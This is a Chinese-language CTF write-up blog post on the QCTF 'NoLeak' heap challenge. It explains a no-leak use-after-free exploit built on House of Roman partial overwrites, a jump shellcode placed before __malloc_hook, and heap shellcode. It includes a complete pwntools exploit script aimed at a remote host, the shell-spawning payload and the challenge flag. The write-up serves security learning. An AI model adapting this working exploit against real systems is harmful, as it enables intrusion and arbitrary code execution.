[Pwn] NoLeak - Cpt.shao xp0int Posted on Jul 16 2018 ? house-of-roman ? ? partial-overwrite ? 周末打了XMAN选拔赛,也就是QCTF。既然是面向新手选拔性质的个人比赛,题目难度也就不会很难。这里简单记录一下其中比较有意思的NoLeak题目。 这题还是常见的选单系统,给了一个很明显的UAF漏洞,按理说只要按照一般的fastbin attack思路就可以解决。 问题是题目里面完全没有能够用于输出的地方,也就是没办法读取chunk的内容,这样一来也就没有办法泄露地址来对抗aslr,这也是题目名字NoLeak的意义所在。然后题目是没有开DEP的,所以我们可以在堆上,栈上,甚至是bss段上执行shellcode。但是开了Full RELRO,没办法通过写got表的方法来劫持控制流。 ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` 摆在我们面前有两个问题: 1. Bypass ASLR 2. 如何劫持控制流,也就是控制rip 对于第一个问题,一般来说有一下几种方法: 1. Infomation Leak: 这是最稳妥实用的方法,然而这题已经说明了是no leak,没办法使用。 2. Burteforce: 通过爆破地址某几位的方法来猜测随机化后的地址,在32位下或许可以,这是在64位下基本就不用想了。 3. Partial Overwrite: 通过改写地址后面低地址某几位的方法来获得我们想要的地址,不需要泄露出各个段的地址。 ![update](https://leanote.com/api/file/getImage?fileId=5b4bf644ab6441725a0004bb) 可以看到update函数里面还很贴心地给了可以控制读入字节数的地方,我们就不需要考虑读入字符串时候的00字节问题,从另一个侧面就验证了parital overwrite思路的正确性。 对于第二个问题,我想到之前看到一种叫做house-of-Roman的利用方法,宣称不需要泄露就可以bypass aslr。[House of Roman](https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_roman/) 可以看到其实这种方法也是利用parital overwrite来完成攻击流程的。首先是在fastbin上面获得一个fastbin附近的地址,然后比较巧妙的是用unsorted bin attack把main_arena的地址写到malloc_hook上面,最后在施展一次parital Overwrite来写上one gadget的地址。 照葫芦画瓢以后发现有个地方比较讨厌。这题里面只给了10个chunk的栏位,再多了就写不上了。所以整个流程需要优化一下节省空间。完成了以后还发现一个问题:在本机关闭aslr的情况下,这个exp可以说是100%成功的,但是开了aslr以后成功率能比1/256还要低,开一个循环脚本跑5000次也未必能够得到一次成功的机会。 原因在于aslr以后one gadget的偏移地址也是需要随机爆破的,原来的exp里面改写的是低3byte的地址,那么需要爆破的位数应该就是2byte左右,成功率不高。在回头想想,题目还给了一个很好的没有DEP性质我们没有利用呢,我们可以把malloc_hook写成bss段的地址(因为我们能够确定的只有bss段的地址),然后往bss段上写shellcode。 经过一番尝试以后这个思路也是行不通,原因在于bss段上面没有可以利用的fake size byte让我们通过fastbin attack时候的size check,而且10个栏位的限制也造成了很大的麻烦。 最后的解决方法是,我发现我们在覆盖malloc_hook的时候,前面需要填充19byte的直接,那么我们可以利用这19byte来构造一个跳转shellcode,把rip重定向到heap段上,然后heap上的内容我们是可以直接控制的,写上一段真正的shellcode就完成了劫持。 跳转的shellcdoe可以这样写: ```asm mov eax, 0x601048; //这是一个指向一个chunk的指针 mov eax, [eax]; //获得chunk地址 call eax; ``` 所以总劫持思路是这样的: 1. 用fastbin attack+partial Overwrite技巧获得一个指向&__malloc_hook-0x23的指针 2. 用unsorted bin attack往&__malloc_hook上面写上main_arena的地址 3. 利用第一步获得的指针写上跳转shellcode,并通过Partial overwrite让main_arean地址改成&__malloc_hook-19的地址,指向我们的跳转shellcode。 4. 往0x601048指向的指针上面写上真正的shellcode。 5. 触发malloc 控制流: malloc -> malloc_hook -> malloc_hook-19(跳转shellcode) -> heap(get shell真正shellcode) ## NoLeak.py ```python # QCTF{0h_WtF_tH5_heap_MOrK} from pwn import * # p = process('./NoLeak') p = remote('47.96.239.28', 31337) elf = ELF('./NoLeak') context.log_level = 'info' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' def create(size, content): p.recvuntil('choice') p.sendline('1') p.recvuntil('Size') p.sendline(str(size)) p.recvuntil('Data') p.send(content) def delete(idx): p.recvuntil('choice') p.sendline('2') p.recvuntil('Index') p.sendline(str(idx)) def update(idx, size, content): p.recvuntil('choice') p.sendline('3') p.recvuntil('Index') p.sendline(str(idx)) p.recvuntil('Size') p.sendline(str(size)) p.recvuntil('Data') p.send(content) create(0x68, 'a'*0x68) #0 payload = 'b' *0x68 + p64(0x61) payload.ljust(0xc8, 'b') create(0xc8, payload) #1 create(0x65, 'c'*0x65) #2 delete(1) create(0xc8, '0') #3 sleep(0.1) update(0, 0x69, 'A'*0x68 + '\x71') delete(0) delete(2) update(2, 2, '\x70') update(1, 2, '\xed\x1a') create(0x65, 'g'*(0x65)) #4 create(0x65, 'h'*(0x65)) #5 create(0x65, 'a'*19 + p64(0)) #6 sleep(0.1) create(0xc8, 'i'*0xc8) #7 create(0xc8, 'j'*0xc8) #8 delete(7) update(7, 16, 'B'*8 + '\x00\x1b') create(0xc8, 'j'*0xc8) pivot = asm('mov eax,0x601048; mov eax,[eax]; call rax;').ljust(19, 'a') shellcode = asm(shellcraft.linux.sh()) update(6, 22, pivot + '\xfd\x1a') update(1, len(shellcode), shellcode) #trigger delete(0) delete(0) try: p.sendline('cat flag') p.recv(4, timeout=5) p.interactive() except: p.close() ``` 实测成功率在1/16左右,还是比较可靠的。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Rev]beijing-MF [Pwn] Bufoverflow_a - Cpt.shao
没有帐号? 立即注册